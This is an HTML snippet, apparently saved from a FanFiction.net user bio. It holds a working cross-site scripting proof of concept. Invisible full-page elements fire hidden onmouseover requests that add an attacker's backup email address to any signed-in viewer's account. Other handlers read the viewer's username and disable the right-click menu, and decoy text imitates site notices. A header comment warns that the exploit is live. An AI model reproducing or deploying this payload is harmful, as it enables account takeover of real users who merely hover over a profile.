FF.net exploit bio

<!-- Source: http://www.fanfiction.net/u/11332324/Varangue-73
     USE CAUTION WHEN VISITING THIS LINK; it contains an active XSS exploit.
     If you're signed into FF, it may compromise your account security.
-->

<div id=bio style='padding-left:5px;padding-right:5px;'>
    <li class="gui_normal"
        style="
            position: absolute;
            background-color: #FFFFFF;
            width: 100%;
            height:100%;
            top:0;
            left:0;
            list-style-type: none;"
        onmouseover="
            var url = 'https://www.fanfiction.net/account/backup_emails.php';
            var params = 'action=add'.concat('%26email=actorzero@countermail.com');
            var req = new XMLHttpRequest();
            req.open('POST', url, true);
            req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
            req.send(params);"
        onclick="
            document.querySelector('.lc-wrapper').remove();
            var username = document.getElementById('name_login').innerText;
            console.log(username);"
        touchstart=""
        touchmove=""
        touchend=""
        oncontextmenu="
            return false;"
        >
    </li>
    <li style="
            position: absolute;
            width: 96%;
            background-color: #F6F7EE;
            color: #000000;
            padding: 10px;
            border: 1px outset;
            margin-bottom: 5px;
            text-align: left;
            top: 0;
            left: 0.5;
            list-style-type: none;"
        onmouseover="
            var url = 'https://www.fanfiction.net/account/backup_emails.php';
            var params = 'action=add'.concat('%26email=actorzero@countermail.com');
            var req = new XMLHttpRequest();
            req.open('POST', url, true);
            req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
            req.send(params);"
        onclick="
            document.querySelector('.lc-wrapper').remove();
            var username = document.getElementById('name_login').innerText;
            console.log(username);"
        oncontextmenu="
            return false;"
        >
            FanFiction.Net Message Type 1
    </li>
    <p>horizontal line</p>
    <li style="position: absolute; width: 96%; background-color: #F6F7EE; color: #000000; padding: 10px; border: 1px outset; margin-bottom: 5px; text-align: left; top: 2.9em; left: 0.5; list-style-type: none;"
        onmouseover="
            var url = 'https://www.fanfiction.net/account/backup_emails.php';
            var params = 'action=add'.concat('%26email=actorzero@countermail.com');
            var req = new XMLHttpRequest();
            req.open('POST', url, true);
            req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
            req.send(params);"
        onclick="
            document.querySelector('.lc-wrapper').remove();
            var username = document.getElementById('name_login').innerText;
            console.log(username);"
        oncontextmenu="return false;">
            User is no longer an active member.
    </li>
    <p>Test. PoC</p>
</div>